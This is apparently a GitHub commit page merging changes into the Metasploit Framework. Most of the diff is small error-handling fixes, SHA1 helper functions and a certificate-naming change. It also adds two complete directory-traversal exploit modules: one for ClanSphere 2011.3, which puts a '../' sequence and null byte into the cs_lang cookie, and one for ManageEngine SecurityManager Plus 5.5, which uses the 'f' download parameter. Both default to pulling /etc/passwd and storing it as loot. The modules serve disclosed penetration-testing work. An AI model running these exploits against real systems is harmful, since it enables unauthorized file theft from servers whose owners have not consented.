Skip to content

Commit c27a4d5

Browse files
author
jvazquez-r7
committed
Merge branch 'master' into bug/handle-100-continue
2 parents adc9532 + 91e6b7c commit c27a4d5

23 files changed

+659
-76
lines changed

lib/msf/core/handler/bind_tcp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ def start_handler
127127
rescue Rex::ConnectionRefused
128128
# Connection refused is a-okay
129129
rescue ::Exception
130-
wlog("Exception caught in bind handler: #{$!}")
130+
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
131131
end
132132

133133
break if client
@@ -138,7 +138,6 @@ def start_handler
138138

139139
# Valid client connection?
140140
if (client)
141-
142141
# Increment the has connection counter
143142
self.pending_connections += 1
144143

lib/rex/io/stream_abstraction.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -149,6 +149,9 @@ def monitor_rsock
149149
closed = true
150150
wlog("monitor_rsock: closed remote socket due to nil read")
151151
end
152+
rescue EOFError => e
153+
closed = true
154+
dlog("monitor_rsock: EOF in rsock")
152155
rescue ::Exception => e
153156
closed = true
154157
wlog("monitor_rsock: exception during read: #{e.class} #{e}")

lib/rex/post/meterpreter/client.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def swap_sock_plain_to_ssl
154154
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
155155

156156
# Use non-blocking OpenSSL operations on Windows
157-
if not ( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
157+
if !( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
158158
ssl.accept
159159
else
160160
begin
@@ -211,12 +211,19 @@ def generate_ssl_context
211211
cert.version = 2
212212
cert.serial = rand(0xFFFFFFFF)
213213

214+
# Depending on how the socket was created, getsockname will
215+
# return either a struct sockaddr as a String (the default ruby
216+
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
217+
# behavior). Avoid the ambiguity by always picking a random
218+
# hostname. See #7350.
219+
subject_cn = Rex::Text.rand_hostname
220+
214221
subject = OpenSSL::X509::Name.new([
215222
["C","US"],
216223
['ST', Rex::Text.rand_state()],
217224
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
218225
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
219-
["CN", self.sock.getsockname[1] || Rex::Text.rand_hostname],
226+
["CN", subject_cn],
220227
])
221228
issuer = OpenSSL::X509::Name.new([
222229
["C","US"],

lib/rex/text.rb

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22
require 'digest/md5'
3+
require 'digest/sha1'
34
require 'stringio'
45

56
begin
@@ -812,6 +813,20 @@ def self.md5(str)
812813
Digest::MD5.hexdigest(str)
813814
end
814815

816+
#
817+
# Raw SHA1 digest of the supplied string
818+
#
819+
def self.sha1_raw(str)
820+
Digest::SHA1.digest(str)
821+
end
822+
823+
#
824+
# Hexidecimal SHA1 digest of the supplied string
825+
#
826+
def self.sha1(str)
827+
Digest::SHA1.hexdigest(str)
828+
end
829+
815830
#
816831
# Convert hex-encoded characters to literals.
817832
# Example: "AA\\x42CC" becomes "AABCC"

modules/auxiliary/admin/officescan/tmlisten_traversal.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,11 @@ def run_host(target_host)
5151
'method' => 'GET',
5252
}, 20)
5353

54+
if not res
55+
print_error("No response from server")
56+
return
57+
end
58+
5459
http_fingerprint({ :response => res })
5560

5661
if (res.code >= 200)

modules/auxiliary/dos/http/sonicwall_ssl_format.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def run
5858
'uri' => datastore['URI'] + fmt,
5959
})
6060

61-
if res.code == 200
61+
if res and res.code == 200
6262
res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
6363
print_status("Information leaked: #{$1}")
6464
end
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in Clansphere 2011.3.
21+
The application fails to handle the cs_lang parameter properly, which can be
22+
used to read any file outside the virtual directory.
23+
},
24+
'References' =>
25+
[
26+
['OSVDB', '86720'],
27+
['EDB', '22181']
28+
],
29+
'Author' =>
30+
[
31+
'blkhtc0rp', #Original
32+
'sinn3r'
33+
],
34+
'License' => MSF_LICENSE,
35+
'DisclosureDate' => "Oct 23 2012"
36+
))
37+
38+
register_options(
39+
[
40+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
41+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
42+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
43+
], self.class)
44+
end
45+
46+
47+
def run_host(ip)
48+
base = target_uri.path
49+
base << '/' if base[-1,1] != '/'
50+
51+
peer = "#{ip}:#{rport}"
52+
53+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
54+
55+
traverse = "../" * datastore['DEPTH']
56+
f = datastore['FILE']
57+
f = f[1, f.length] if f =~ /^\//
58+
59+
res = send_request_cgi({
60+
'method' => 'GET',
61+
'uri' => "#{base}index.php",
62+
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
63+
})
64+
65+
if res and res.body =~ /^Fatal error\:/
66+
print_error("#{peer} - Unable to read '#{datastore['FILE']}', possibily because:")
67+
print_error("\t1. File does not exist.")
68+
print_error("\t2. No permission.")
69+
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
70+
71+
elsif res and res.code == 200
72+
pattern_end = " UTC +1 - Load:"
73+
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip
74+
fname = datastore['FILE']
75+
p = store_loot(
76+
'clansphere.cms',
77+
'application/octet-stream',
78+
ip,
79+
data,
80+
fname
81+
)
82+
83+
vprint_line(data)
84+
print_good("#{peer} - #{fname} stored as '#{p}'")
85+
86+
else
87+
print_error("#{peer} - Fail to obtain file for some unknown reason")
88+
end
89+
end
90+
91+
end

modules/auxiliary/scanner/http/ektron_cms400net.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ def run_host(ip)
6767

6868
#Check for HTTP 200 response.
6969
#Numerous versions and configs make if difficult to further fingerprint.
70-
if (res.code == 200)
70+
if (res and res.code == 200)
7171
print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]")
7272

7373
#Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in ManageEngine
21+
SecurityManager Plus 5.5 or less. When handling a file download request,
22+
the DownloadServlet class fails to properly check the 'f' parameter, which
23+
can be abused to read any file outside the virtual directory.
24+
},
25+
'References' =>
26+
[
27+
['OSVDB', '86563'],
28+
['EDB', '22092']
29+
],
30+
'Author' =>
31+
[
32+
'blkhtc0rp', #Original
33+
'sinn3r'
34+
],
35+
'License' => MSF_LICENSE,
36+
'DisclosureDate' => "Oct 19 2012"
37+
))
38+
39+
register_options(
40+
[
41+
OptPort.new('RPORT', [true, 'The target port', 6262]),
42+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
43+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
44+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
45+
], self.class)
46+
end
47+
48+
49+
def run_host(ip)
50+
base = target_uri.path
51+
base << '/' if base[-1,1] != '/'
52+
53+
peer = "#{ip}:#{rport}"
54+
fname = datastore['FILE']
55+
56+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
57+
traverse = "../" * datastore['DEPTH']
58+
res = send_request_cgi({
59+
'method' => 'GET',
60+
'uri' => "#{base}store",
61+
'vars_get' => {
62+
'f' => "#{traverse}#{datastore['FILE']}"
63+
}
64+
})
65+
66+
67+
if res and res.code == 500 and res.body =~ /Error report/
68+
print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
69+
print_error("\t1. File does not exist.")
70+
print_error("\t2. The server does not have any patches deployed.")
71+
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
72+
print_error("\t4. Some kind of permission issues.")
73+
74+
elsif res and res.code == 200
75+
data = res.body
76+
p = store_loot(
77+
'manageengine.securitymanager',
78+
'application/octet-stream',
79+
ip,
80+
data,
81+
fname
82+
)
83+
84+
vprint_line(data)
85+
print_good("#{peer} - #{fname} stored as '#{p}'")
86+
87+
else
88+
print_error("#{peer} - Fail to obtain file for some unknown reason")
89+
end
90+
end
91+
92+
end

0 commit comments

Comments
 (0)